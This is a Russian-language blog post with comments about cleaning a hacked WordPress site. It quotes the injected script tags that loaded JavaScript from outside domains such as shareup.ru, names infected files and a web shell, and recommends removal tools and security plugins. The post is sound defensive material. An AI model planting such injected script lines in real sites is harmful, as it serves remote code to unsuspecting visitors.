Как часто вы редактируете свои старые статьи? Думаю, что очень редко. Я тоже редко это делал. А зря. Как то понадобилось мне отредактировать ссылку в старой статье. Открываю в редакторе и вижу лишний скрипт, который к ссылке не имеет никакого отношения.Так же код был в некоторых местах перед закрывающим тегом </p>.
Здрасьте, приехали. А как же защита wordpress, которую я применял до этого момента и считал её надежной? Выражаясь словами героя известного мультфильма оказалось, что «Маловато будет!»
Последствия взлома
В коде ссылки присутствовал следующий код
<script type="text/javascript" src="//shareup.ru/social.js"></script>
Причем этот код виден только в редакторе в режиме кода. В визуальном режиме, так же как и при просмотре сайта, код не виден. Открыв рандомно несколько старых статей, в каждой в коде ссылок обнаружил этот странный скрипт.
Для поиска других вариантов использовал плагин Search Regex. В итоге нашел еще
<script src="//shareup.ru/social.js" type="mce-text/javascript"></script> <script src="//shareup.ru/social.js" type="mce-mce-text/javascript"></script>
Был еще четвертый вариант, но я его удалил без сохранения. Причем левая часть «<script src=» была ссылкой
/wp-admin/tools.php?page=search-regex.php#
В некоторых файлах движка были строки
<? #9269ad# всякая шифрованная муть echo " шифрованная муть <script type="text/javascript" language="javascript" > шифрованная муть </script>"; шифрованная муть #/9269ad# ?>
Антивирус хостинга Virusdie определил как зараженные файлы
- header.php
- custom-header.php
- admin-footer.php
- admin-header.php
- menu-header.php
- index.html
Так же был заражен файл плагина UpdraftPlus. В итоге данный плагин был удален. Либо дыра в плагине, либо не его вина. Проще снести и не рисковать.
Антивирус хостинга обозначил вирус как PHP.BlacoleRef. Все файлы были вылечены антивирусом хостера.
Поиск мусора в статьях плагином Search Regex
Как уже написано выше, в коде статей был обнаружен посторонний скрипт. В сети пишут, что скриптов появляется несколько вариантов
<script type="text/javascript" src="//css.googleaps.ru/css?f=Open+Sans&cd=mb&ver=4.2.2"></script> <script type="text/javascript" src="//uptoliked.ru/widjets.js"></script> <script type="text/javascript" src="//shareup.ru/social.js"></script>
Просматривать код всех статей блога — дело не благодарное и долгое. С учетом того, что скрипты попадаются не только в ссылках, но и просто в тексте, есть риск пропустить заразу. У себя на блоге удалял этот мусор плагином Search Regex, который позволяет искать нужный текст и заменять его на другой.
Достаточно в первое поле ввести код скрипта, а следующее поле оставить пустым.Нажать поиск-замена. Таким образом плагин найдет все вхождения этой гадости и заменит на пустое место. Для поиска разных вариантов этой гадости можно в поле поиска ввести часть скрипта «src=»//» и плагин найдет все варианты этих скриптов в ваших статьях.
В общем весь мусор из статей блога был удален. Однако через дней пять он снова появился. Повторное сканирование блога антивирусом хостера результатов не дал. В ручную просматривать все папки сайта на предмет лишних файлов дело муторное. Сайт был дополнительно проверен антивирусами Aibolit и Manul (от Яндекса). Оба антивируса обматерили файл index.2.php в папке «webstat.none» с шеллом внутри. Написал хостеру, что их антивирус не нашел файл с шелом. Файл удален — пока тихо.
Отслеживание попыток взлома
Попытки взлома идут постоянно. Если вы думаете, что ваш блог мало посещаем и хакерам не нужен, вы глубоко ошибаетесь.
Это лог плагина SEO Redirection Free. На скрине только первая страничка лога. Запросы на наличие определенных плагинов, тем и файлов на сайте. Так что хватает козлов, желающих воспользоваться плодами вашего труда в своих целях. Этот лог очень облегчает поиск «левых» файлов на вашем сайте, особенно сразу после заражения.
Защита wordpress
Если у вас еще не установлены плагины для защиты wordpress, обязательно сделайте это. Иначе будете чистить сайт от вирусни до бесконечности. Вот некоторые из популярных плагинов
- Acunetix Secure WordPress
- Lockdown WP Admin
- Wordfence Security
И не забывайте обновляться. Защита и своевременное закрытие уязвимостей — залог здоровья ваших блогов.
Просто удалить вредоносный код не достаточно, если он проник, значит где-то есть дыра. Когда у меня появлялась такая бяка, то в первую очередь менял пароль от админки, от БД и панели хостера. Затем заменял все файлы движка на чистые из дистрибутива. Еще хороший вариант — поставить двухфакторную аутентификацию при доступе к wp-admin.
Айболитом пользовался, хороший скрипт, хотя иногда ругается даже на оригинальные файлы WP, а Манул почему-то не пошел на моем хостинге — крутится проверка и бес толку, пол часа ждал и удалил не получив результата.
У меня Manul без проблем отработал.
Заражение сайта как то само собой подразумевает смену паролей доступа. Файлы движка можно менять не все. Плагин Wordfence Security например сканирует файлы движка и плагинов и сравнивает их с оригинальными. Если не совпадает, можно заменить автоматически.
Яндекс по ходу из-за из-за этой заразы меня под АГС закинул. Сейчас АГС снят. Тиц вернулся. Даже с двойным приростом.
А у меня тоже недавно была в чем-то похожая ситуация. Причем, не сама бяку нашла, а девушка одна написала — мол, у меня на сайте от вас проблемы, а понять, в чем дело, мы не можем. Стала искать и… А я-то все понять не могу, чем Яндекс недоволен!
В общем, присоединяюсь к Вам, контролировать процесс надо регулярно.
Без контроля никуда. Постоянно какая-нибудь гадость пролезть пытается. Периодически запускается антивирус на поиск.
Совсем не хочется проблем… Тоже пользуюсь различными защитными «штучками». Очень жаль, если какой-нибудь козёл гадостей наделает.
Очень обидно, когда вкладываешь в свое детище душу, время, финансы. И какая то сволочуга будет гадить.
Здравствуйте! Прочитал вашу статью – очень интересно и грамотно написано. Давно хотел что-то подобное узнать. У меня у самого есть свой блог (ему полгода), и у меня до сих пор нет плагина для защиты WordPress. Я особо так и не думал, что мой молодой блог будет кому-то интересен. Ведь даже посещаемость у него смешная. А тут такое делается. Нужно будет срочно менять ситуацию, ставить какой-нибудь толковый плагин. Ведь действительно, разных плагинов слишком много и все они обещают «золотые горы», но в действительности не все так просто. А вручную чистить все старые статьи неохота. А какой из трех перечисленных вами плагинов самый лучший?
Да уж, приятного мало в таких ситуациях. Вылечить сайт от заражения — жутко нудная задача. Бывало такие задачи пачками сыпались (мол, давайте, скорее-быстрее-немедленно чините, клиент плачет). Тут и Айболитом пробежишься, и Манулом, и антивирусом от хостинга (если таковой есть). И то, бывали случаи, что с первого раза проблема не решалась: вычистишь сайт, а он через пару месяцев снова весь черти на что похож.
И ведь чаше всего страдает как раз не Вордпресс, а Джумла (хотя, соотношение и тех и других сайтов на поддержке у нас одинаковым было).
Недолюбливаю джумлу. Слишком там всё запутано. Начинал с этой cms. Пока более-менее разобрался — чуть мозг не закипел. После неё с wordpress подружился намного легче.